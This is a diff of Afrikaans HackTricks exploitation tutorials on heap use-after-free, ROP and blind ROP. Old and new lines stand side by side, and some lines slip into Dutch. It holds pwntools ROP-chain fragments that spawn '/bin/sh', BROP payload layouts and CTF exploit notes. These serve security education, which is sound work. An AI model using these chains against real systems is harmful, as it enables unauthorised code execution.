Wanneer jy 'n geheueblok vrymaak wat nie 'n vinnige blok is nie, gaan dit na die ongesorteerde bin. Hierdie bin tree op soos 'n lys waar nuwe vrygemaakte blokke by die voorkant (die "kop") gevoeg word. Wanneer jy 'n nuwe blok geheue aanvra, kyk die toewysingsprogram na die ongesorteerde bin van agter (die "stert") om 'n blok te vind wat groot genoeg is. As 'n blok van die ongesorteerde bin groter is as wat jy nodig het, word dit verdeel, met die voorkant wat teruggegee word en die oorblywende deel wat in die bin bly.
Wanneer jy 'n geheueblok vrymaak wat nie 'n vinnige blok is nie, gaan dit na die ongesorteerde bin. Hierdie bin tree op soos 'n lys waar nuwe vrygemaakte blokke aan die voorkant (die "kop") bygevoeg word. Wanneer jy 'n nuwe blok geheue aanvra, kyk die toewysingsprogram na die ongesorteerde bin van agter (die "stert") om 'n blok te vind wat groot genoeg is. As 'n blok van die ongesorteerde bin groter is as wat jy nodig het, word dit verdeel, met die voorkant wat teruggegee word en die oorblywende deel wat in die bin bly.
Voorbeeld:
* Jy ken 300 byte toe (`a`), dan 250 byte (`b`), vrymaak `a` en vra weer 250 byte (`c`).
* Jy ken 300 byte toe (`a`), dan 250 byte (`b`), vrymaak dan `a` en vra weer 250 byte (`c`).
* Wanneer jy `a` vrymaak, gaan dit na die ongesorteerde bin.
* As jy dan weer 250 byte aanvra, vind die toewysingsprogram `a` aan die stert en verdeel dit, waar die deel wat aan jou versoek voldoen teruggegee word en die res in die bin bly.
* `c` sal na die vorige `a` wys en met die `a`'s gevul wees.
@ -40,7 +41,7 @@ Fastbins word gebruik vir klein geheueblokke. In teenstelling met ongesorteerde
Voorbeeld:
* Jy ken vier blokkies van 20 byte elk toe (`a`, `b`, `c`, `d`).
* Jy ken vier blokke van 20 byte elk toe (`a`, `b`, `c`, `d`).
* Wanneer jy hulle in enige volgorde vrymaak, word die vrygemaakte blokke by die kop van die fastbin gevoeg.
* As jy dan 'n 20-byte blokkie aanvra, sal die toewysingsprogram die mees onlangs vrygemaakte blokkie van die kop van die fastbin teruggee.
```c
@ -61,11 +62,11 @@ d = malloc(20); // a
* [**https://heap-exploitation.dhavalkapil.com/attacks/first\_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first\_fit)
* [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
* ARM64. Gebruik na vrylating: Skep 'n gebruiker-objek, vry dit, skep 'n objek wat die vrygemaakte blok kry en toelaat om daaraan te skryf, **om die posisie van die gebruiker se wagwoord** van die vorige een te oorskryf. Hergebruik die gebruiker om die wagwoordkontrole te **vermy**
* ARM64. Gebruik na vrylating: Skep 'n gebruiker-objek, vry dit, skep 'n objek wat die vrygemaakte blok kry en toelaat om daaraan te skryf, **om die posisie van die gebruiker se wagwoord te oorskryf** van die vorige een. Hergebruik die gebruiker om die wagwoordkontrole te **vermy**
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example)
* Die program maak dit moontlik om notas te skep. 'n Nota sal die nota-inligting hê in 'n malloc(8) (met 'n verwysing na 'n funksie wat opgeroep kan word) en 'n verwysing na 'n ander malloc(\<grootte>) met die inhoud van die nota.
* Die aanval sou wees om 2 notas (nota0 en nota1) te skep met groter malloc-inhoud as die grootte van die nota-inligting en hulle dan vry te stel sodat hulle in die vinnige blok (of tcache) beland.
* Skep dan 'n ander nota (nota2) met inhoudsgrootte 8. Die inhoud gaan in nota1 wees aangesien die blok hergebruik gaan word, waar ons die funksie-aanwyser kan wysig om na die wen-funksie te wys en dan Gebruik-Na-Vrylating die nota1 om die nuwe funksie-aanwyser te roep.
* Die aanval sou wees om 2 notas te skep (nota0 en nota1) met groter malloc-inhoud as die grootte van die nota-inligting en hulle dan vry te stel sodat hulle in die vinnige blok (of tcache) beland.
* Skep dan 'n ander nota (nota2) met inhoudsgrootte 8. Die inhoud gaan in nota1 wees aangesien die blok hergebruik gaan word, waar ons die funksie-aanwysers kan wysig om na die wen-funksie te wys en dan Gebruik-Na-Vrylating die nota1 om die nuwe funksie-aanwyser te roep.
* [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html)
* Dit is moontlik om 'n bietjie geheue toe te ken, die gewenste waarde te skryf, dit vry te stel, dit weer toe te ken en aangesien die vorige data nog daar is, sal dit hanteer word volgens die nuwe verwagte struktuur in die blok wat dit moontlik maak om die waarde in te stel of die vlag te kry.
* [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html)

View file

@ -1,27 +1,28 @@
# ROP - Return Oriented Programing
# ROP - Teruggeoriënteerde Programmering
{% hint style="success" %}
Leer en oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}
## **Basiese Inligting**
**Return-Oriented Programming (ROP)** is 'n gevorderde uitbuitingstegniek wat gebruik word om sekuriteitsmaatreëls soos **No-Execute (NX)** of **Data Execution Prevention (DEP)** te omseil. In plaas van om shellcode in te spuit en uit te voer, maak 'n aanvaller gebruik van stukke kode wat reeds teenwoordig is in die binêre lêer of in gelaai biblioteke, bekend as **"gadgets"**. Elke gadget eindig tipies met 'n `ret` instruksie en voer 'n klein operasie uit, soos die skuif van data tussen registre of die uitvoer van rekenkundige operasies. Deur hierdie gadgets aan mekaar te koppel, kan 'n aanvaller 'n lading konstrueer om arbitrêre operasies uit te voer, wat effektief NX/DEP-beskerming omseil.
**Return-Oriented Programming (ROP)** is 'n gevorderde uitbuitingstegniek wat gebruik word om sekuriteitsmaatreëls soos **No-Execute (NX)** of **Data Execution Prevention (DEP)** te omseil. In plaas van om shellcode in te spuit en uit te voer, maak 'n aanvaller gebruik van stukke kode wat reeds teenwoordig is in die binêre lêer of in gelaai biblioteke, bekend as **"gadgets"**. Elke gadget eindig tipies met 'n `ret` instruksie en voer 'n klein operasie uit, soos die skuif van data tussen registre of die uitvoer van rekenkundige operasies. Deur hierdie gadgets aan mekaar te koppel, kan 'n aanvaller 'n lading bou om arbitrêre operasies uit te voer, wat effektief NX/DEP-beskerming omseil.
### Hoe ROP Werk
1. **Beheerstroomkaping**: Eerstens moet 'n aanvaller die beheerstroom van 'n program kaap, tipies deur 'n buffer-oorvloei te benut om 'n gestoorde terugkeeradres op die stok oor te skryf.
2. **Gadget-ketting**: Die aanvaller kies dan sorgvuldig gadgets en koppel hulle aan mekaar om die gewenste aksies uit te voer. Dit kan die opstel van argumente vir 'n funksieoproep, die aanroep van die funksie (bv., `system("/bin/sh")`), en die hanteer van enige nodige skoonmaak of bykomende operasies insluit.
1. **Beheerstroomkaping**: Eerstens moet 'n aanvaller die beheerstroom van 'n program kap, tipies deur 'n buffer-oorvloei te benut om 'n gestoorde terugkeeradres op die stok oor te skryf.
2. **Gadget-ketting**: Die aanvaller kies dan sorgvuldig gadgets en koppel hulle aan mekaar om die gewenste aksies uit te voer. Dit kan die opstel van argumente vir 'n funksieoproep behels, die roep van die funksie (bv., `system("/bin/sh")`), en die hanteer van enige nodige skoonmaak of bykomende operasies.
3. **Ladinguitvoering**: Wanneer die kwesbare funksie terugkeer, begin dit in plaas van om na 'n wettige plek terug te keer, die ketting van gadgets uitvoer.
### Gereedskap
@ -32,7 +33,7 @@ Gewoonlik kan gadgets gevind word met behulp van [**ROPgadget**](https://github.
### **x86 (32-bis) Oproepkonvensies**
* **cdecl**: Die oproeper maak die stok skoon. Funksie-argumente word in omgekeerde volgorde (regs-na-links) op die stok gedruk. **Argumente word van regs na links op die stok gedruk.**
* **cdecl**: Die oproeper maak die stok skoon. Funksie-argumente word in omgekeerde volgorde op die stok gedruk (van regs na links). **Argumente word van regs na links op die stok gedruk.**
* **stdcall**: Soortgelyk aan cdecl, maar die ontvanger is verantwoordelik vir die skoonmaak van die stok.
### **Gadgets Vind**
@ -46,10 +47,10 @@ Eerstens, laat ons aanneem dat ons die nodige gadgets binne die binêre lêer of
### **ROP-ketting**
Met behulp van **pwntools** berei ons die stok voor vir die uitvoering van die ROP-ketting soos hieronder met die doel om `system('/bin/sh')` uit te voer, let op hoe die ketting begin met:
Met behulp van **pwntools** berei ons die stok voor vir die uitvoering van die ROP-ketting soos hieronder gemik om `system('/bin/sh')` uit te voer, let op hoe die ketting begin met:
1. 'n `ret` instruksie vir uitlyningsdoeleindes (opsioneel)
2. Adres van `system`-funksie (onder die aanname dat ASLR uitgeskakel is en bekende libc, meer inligting in [**Ret2lib**](ret2lib/))
1. 'n `ret` instruksie vir uitlyn doeleindes (opsioneel)
2. Adres van `system`-funksie (onder die veronderstelling dat ASLR uitgeskakel is en bekende libc, meer inligting in [**Ret2lib**](ret2lib/))
3. Plekhouer vir die terugkeeradres van `system()`
4. `"/bin/sh"` string-adres (parameter vir stelsel funksie)
```python
@ -87,24 +88,24 @@ p.interactive()
```
## ROP Ketting in x64 Voorbeeld
### **x64 (64-biet) Oproepkonvensies**
### **x64 (64-bis) Oproepkonvensies**
* Gebruik die **System V AMD64 ABI** oproepkonvensie op Unix-soortgelyke stelsels, waar die **eerste ses heelgetal- of wyservariabele argumente in die register `RDI`, `RSI`, `RDX`, `RCX`, `R8`, en `R9`** oorgedra word. Addisionele argumente word op die stok oorgedra. Die terugvoerwaarde word in `RAX` geplaas.
* Die **Windows x64** oproepkonvensie gebruik `RCX`, `RDX`, `R8`, en `R9` vir die eerste vier heelgetal- of wyservariabele argumente, met addisionele argumente wat op die stok oorgedra word. Die terugvoerwaarde word in `RAX` geplaas.
* **Register**: 64-biet register sluit in `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, en `R8` tot `R15`.
* Gebruik die **System V AMD64 ABI** oproepkonvensie op Unix-soortgelyke stelsels, waar die **eerste ses heelgetal- of wysaanwysingsargumente in die register `RDI`, `RSI`, `RDX`, `RCX`, `R8`, en `R9`** oorgedra word. Addisionele argumente word op die stok oorgedra. Die terugvoerwaarde word in `RAX` geplaas.
* Die **Windows x64** oproepkonvensie gebruik `RCX`, `RDX`, `R8`, en `R9` vir die eerste vier heelgetal- of wysaanwysingsargumente, met addisionele argumente wat op die stok oorgedra word. Die terugvoerwaarde word in `RAX` geplaas.
* **Register**: 64-bis register sluit in `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, en `R8` tot `R15`.
#### **Vind Gadgets**
Vir ons doel, laat ons fokus op gadgets wat ons sal toelaat om die **RDI** register in te stel (om die **"/bin/sh"** string as 'n argument aan **system()** oor te dra) en dan die **system()** funksie aan te roep. Ons aanvaar dat ons die volgende gadgets geïdentifiseer het:
* **pop rdi; ret**: Haal die boonste waarde van die stok in **RDI** uit en keer dan terug. Essensieel vir die instelling van ons argument vir **system()**.
* **pop rdi; ret**: Haal die boonste waarde van die stok uit in **RDI** en keer dan terug. Essensieel vir die instelling van ons argument vir **system()**.
* **ret**: 'n Eenvoudige terugkeer, nuttig vir stokuitlyn in sommige scenarios.
En ons weet die adres van die **system()** funksie.
### **ROP Ketting**
Hieronder is 'n voorbeeld wat **pwntools** gebruik om 'n ROP-ketting op te stel en uit te voer met die doel om **system('/bin/sh')** op **x64** uit te voer:
Hieronder is 'n voorbeeld wat **pwntools** gebruik om 'n ROP-reeks op te stel en uit te voer met die doel om **system('/bin/sh')** uit te voer op **x64**:
```python
from pwn import *
@ -143,16 +144,16 @@ In hierdie voorbeeld:
* Ons maak gebruik van die **`pop rdi; ret`** instrument om **`RDI`** in te stel op die adres van **`"/bin/sh"`**.
* Ons spring direk na **`system()`** nadat ons **`RDI`** ingestel het, met **system()** se adres in die ketting.
* **`ret_gadget`** word gebruik vir belyn as die teikenomgewing dit vereis, wat meer algemeen is in **x64** om behoorlike stakingsbelyning te verseker voordat funksies geroep word.
* **`ret_gadget`** word gebruik vir belyn as die teikenomgewing dit vereis, wat meer algemeen is in **x64** om behoorlike stakingsbelyn te verseker voordat funksies geroep word.
### Stakingsbelyning
### Stakingsbelyn
**Die x86-64 ABI** verseker dat die **stapel 16-byte gebelyn** is wanneer 'n **oproepinstruksie** uitgevoer word. **LIBC**, om prestasie te optimaliseer, **gebruik SSE-instruksies** (soos **movaps**) wat hierdie belyning vereis. As die stapel nie behoorlik gebelyn is nie (wat beteken dat **RSP** nie 'n veelvoud van 16 is nie), sal oproepe na funksies soos **system** misluk in 'n **ROP-ketting**. Om dit reg te stel, voeg eenvoudig 'n **ret gadget** by voordat jy **system** in jou ROP-ketting aanroep.
**Die x86-64 ABI** verseker dat die **stapel 16-byte gebelyn** is wanneer 'n **oproepinstruksie** uitgevoer word. **LIBC**, om prestasie te optimaliseer, **gebruik SSE-instruksies** (soos **movaps**) wat hierdie belyn vereis. As die stapel nie behoorlik gebelyn is nie (wat beteken dat **RSP** nie 'n veelvoud van 16 is nie), sal oproepe na funksies soos **system** misluk in 'n **ROP-ketting**. Om dit reg te stel, voeg eenvoudig 'n **ret gadget** by voordat jy **system** in jou ROP-ketting aanroep.
## x86 vs x64 hoofverskil
{% hint style="success" %}
Aangesien **x64 registers gebruik vir die eerste paar argumente**, vereis dit dikwels minder gadgets as x86 vir eenvoudige funksie-oproepe, maar die vind en koppel van die regte gadgets kan meer kompleks wees as gevolg van die verhoogde aantal registers en die groter adresruimte. Die verhoogde aantal registers en die groter adresruimte in **x64**-argitektuur bied beide geleenthede en uitdagings vir uitbuitontwikkeling, veral in die konteks van Return-Oriented Programming (ROP).
Aangesien **x64 registers gebruik vir die eerste paar argumente,** benodig dit dikwels minder gadgets as x86 vir eenvoudige funksie-oproepe, maar die vind en koppel van die regte gadgets kan meer kompleks wees as gevolg van die verhoogde aantal registers en die groter adresruimte. Die verhoogde aantal registers en die groter adresruimte in **x64**-argitektuur bied beide geleenthede en uitdagings vir uitbuitontwikkeling, veral in die konteks van Return-Oriented Programming (ROP).
{% endhint %}
## ROP-ketting in ARM64 Voorbeeld
@ -183,13 +184,13 @@ Let daarop dat ROP net 'n tegniek is om arbitrêre kode uit te voer. Gebaseer op
[ret2lib](ret2lib/)
{% endcontent-ref %}
* **Ret2Syscall**: Gebruik ROP om 'n oproep na 'n stelselooproep voor te berei, bv. `execve`, en maak dit moontlik om arbitrêre opdragte uit te voer.
* **Ret2Syscall**: Gebruik ROP om 'n oproep na 'n syscall voor te berei, bv. `execve`, en maak dit moontlik om arbitrêre bevele uit te voer.
{% content-ref url="rop-syscall-execv/" %}
[rop-syscall-execv](rop-syscall-execv/)
{% endcontent-ref %}
* **EBP2Ret & EBP Chaining**: Die eerste sal EBP misbruik in plaas van EIP om die vloei te beheer en die tweede is soortgelyk aan Ret2lib, maar in hierdie geval word die vloei hoofsaaklik met EBP-adresse beheer (hoewel dit ook nodig is om EIP te beheer).
* **EBP2Ret & EBP Chaining**: Die eerste sal EBP misbruik in plaas van EIP om die vloei te beheer en die tweede is soortgelyk aan Ret2lib, maar in hierdie geval word die vloei hoofsaaklik met EBP-adresse beheer (alhoewel dit ook nodig is om EIP te beheer).
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %}
[stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
@ -203,16 +204,17 @@ Let daarop dat ROP net 'n tegniek is om arbitrêre kode uit te voer. Gebaseer op
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, geen ASLR, ROP-gadget om stapel uitvoerbaar te maak en te spring na shellcode in stapel
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
# BROP - Blind Return Oriented Programming
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
Die doel van hierdie aanval is om **'n ROP te misbruik deur 'n buffer-oorvloei sonder enige inligting oor die kwesbare binêre lêer**.\
Hierdie aanval is gebaseer op die volgende scenario:
* 'n Stokkwesbaarheid en kennis oor hoe om dit te aktiveer.
* 'n Stok kwesbaarheid en kennis oor hoe om dit te aktiveer.
* 'n Bedienertoepassing wat herlaai na 'n botsing.
## Aanval
@ -28,7 +29,7 @@ Hierdie aanval is gebaseer op die volgende scenario:
### **2. Brute-krag kanarie** om dit te lek&#x20;
### **3. Brute-krag gestoorde RBP en RIP**-adresse in die stok om hulle te lek
### **3. Brute-krag gestoorde RBP en RIP** adresse in die stok om dit te lek
Meer inligting oor hierdie prosesse kan hier gevind word [hier (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) en [hier (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
@ -40,16 +41,16 @@ Hierdie gadget laat basies toe om te bevestig dat iets interessants uitgevoer is
Hierdie tegniek maak gebruik van die [**ret2csu**](ret2csu.md) gadget. En dit is omdat as jy hierdie gadget in die middel van sekere instruksies toegang kry, kry jy gadgets om **`rsi`** en **`rdi`** te beheer:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Hierdie sou die gadgets wees:
* `pop rsi; pop r15; ret`
* `pop rdi; ret`
Let daarop hoe dit met daardie gadgets moontlik is om **2 argumente** van 'n funksie te beheer om aan te roep.
Let daarop hoe dit met daardie gadgets moontlik is om **2 argumente te beheer** van 'n funksie om aan te roep.
Let ook daarop dat die ret2csu-gadget 'n **baie unieke handtekening** het omdat dit 6 register van die stok gaan afhaal. Dus, deur 'n ketting soos te stuur:
Let ook daarop dat die ret2csu-gadget 'n **baie unieke handtekening** het omdat dit 6 register van die stok gaan afhaal. Dus deur 'n ketting soos die volgende te stuur:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
@ -63,7 +64,7 @@ Deur die adres van die ret2csu-gadget te ken, is dit moontlik om die adres van d
### 6. Vind PLT
Die PLT-tabel kan gesoek word vanaf 0x400000 of vanaf die **gelekke RIP-adres** van die stok (as **PIE** gebruik word). Die **inskrywings** van die tabel is **geskei deur 16B** (0x10B), en wanneer 'n funksie aangeroep word, skakel die bediener nie af selfs al is die argumente nie korrek nie. Ook, deur die adres van 'n inskrywing in die **PLT + 6B te kontroleer, skakel dit ook nie af** nie aangesien dit die eerste kode is wat uitgevoer word.
Die PLT-tabel kan gesoek word vanaf 0x400000 of vanaf die **gelekke RIP-adres** van die stok (as **PIE** gebruik word). Die **inskrywings** van die tabel is **geskei deur 16B** (0x10B), en wanneer 'n funksie aangeroep word, skakel die bediener nie af selfs al is die argumente nie korrek nie. Ook, deur die adres van 'n inskrywing in die **PLT + 6B te kontroleer, skakel dit ook nie af** nie omdat dit die eerste kode is wat uitgevoer word.
Daarom is dit moontlik om die PLT-tabel te vind deur die volgende gedrag te kontroleer:
@ -75,14 +76,14 @@ Daarom is dit moontlik om die PLT-tabel te vind deur die volgende gedrag te kont
Die **`strcmp`**-funksie stel die register **`rdx`** in op die lengte van die string wat vergelyk word. Let daarop dat **`rdx`** die **derde argument** is en ons dit moet maak **groter as 0** om later `write` te gebruik om die program te lek.
Dit is moontlik om die ligging van **`strcmp`** in die PLT te vind gebaseer op sy gedrag deur die feit te gebruik dat ons nou die 2 eerste argumente van funksies kan beheer:
Dit is moontlik om die ligging van **`strcmp`** in die PLT te vind gebaseer op sy gedrag deur die feit te gebruik dat ons nou die eerste 2 argumente van funksies kan beheer:
* strcmp(\<nie lees adres>, \<nie lees adres>) -> afslag
* strcmp(\<nie lees adres>, \<lees adres>) -> afslag
* strcmp(\<lees adres>, \<nie lees adres>) -> afslag
* strcmp(\<lees adres>, \<lees adres>) -> geen afslag
Dit is moontlik om hiervoor te toets deur elke inskrywing van die PLT-tabel te roep of deur die **PLT stadige pad** te gebruik wat basies daarop neerkom om **'n inskrywing in die PLT-tabel + 0xb** te roep (wat na **`dlresolve`** roep) gevolg in die stok deur die **inskrywing nommer wat mens wil ondersoek** (beginnende by nul) om al die PLT-inskrywings van die eerste een af te soek:
Dit is moontlik om hiervoor te kontroleer deur elke inskrywing van die PLT-tabel te roep of deur die **PLT stadige pad** te gebruik wat basies bestaan uit **die roep van 'n inskrywing in die PLT-tabel + 0xb** (wat na **`dlresolve`** roep) gevolg in die stok deur die **inskrywing nommer wat mens wil ondersoek** (beginnende by nul) om al die PLT-inskrywings van die eerste een af te soek:
* strcmp(\<nie lees adres>, \<lees adres>) -> afslag
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Sal afsluit
@ -95,7 +96,7 @@ Onthou dat:
* BROP + 0x7 wys na **`pop RSI; pop R15; ret;`**
* BROP + 0x9 wys na **`pop RDI; ret;`**
* PLT + 0xb wys na 'n oproep na **dl\_resolve**.
* PLT + 0xb wys na 'n oproep aan **dl\_resolve**.
Nadat `strcmp` gevind is, is dit moontlik om **`rdx`** in te stel op 'n waarde groter as 0.
@ -104,25 +105,25 @@ Let daarop dat gewoonlik `rdx` reeds 'n waarde groter as 0 sal hê, so hierdie s
{% endhint %}
### 8. Vind Skryf of ekwivalent
Laastens, dit is nodig 'n gadget wat data eksfiltreer om die binêre te eksfiltreer. En op hierdie oomblik is dit moontlik om **beheer oor 2 argumente te hê en `rdx` groter as 0 te stel.**
Laastens is 'n instrument benodig wat data eksfiltreer om die binêre data te eksfiltreer. En op hierdie oomblik is dit moontlik om **2 argumente te beheer en `rdx` groter as 0 in te stel.**
Daar is 3 algemene funksies wat misbruik kan word vir hierdie:
Daar is 3 algemene funksies wat misbruik kan word vir hierdie doel:
* `puts(data)`
* `dprintf(fd, data)`
* `write(fd, data, len(data)`
Nietemin, die oorspronklike dokument noem slegs die **`write`** een, so laat ons daaroor praat:
Die oorspronklike dokument noem egter net die **`write`** een, so laat ons daaroor praat:
Die huidige probleem is dat ons nie **weet waar die skryffunksie binne die PLT is nie** en ons weet nie **'n fd-nommer om die data na ons sokket te stuur nie**.
Die huidige probleem is dat ons nie **weet waar die write-funksie binne die PLT is nie** en ons weet nie **'n fd-nommer om die data na ons sokket te stuur nie**.
Nietemin, ons weet **waar die PLT-tabel is** en dit is moontlik om skryf te vind op grond van sy **gedrag**. En ons kan **verskeie verbindings** met die bediener skep en 'n **hoë FD** gebruik in die hoop dat dit ooreenstem met een van ons verbindings.
Nietemin weet ons **waar die PLT-tabel is** en dit is moontlik om write te vind op grond van sy **gedrag**. En ons kan **verskeie verbindings** met die bediener skep en 'n **hoë FD** gebruik in die hoop dat dit ooreenstem met een van ons verbindings.
Gedragsmerke om daardie funksies te vind:
Gedragskenmerke om daardie funksies te vind:
* `'A' * offset + kanary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, is puts gevind
* `'A' * offset + kanary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, is dprintf gevind
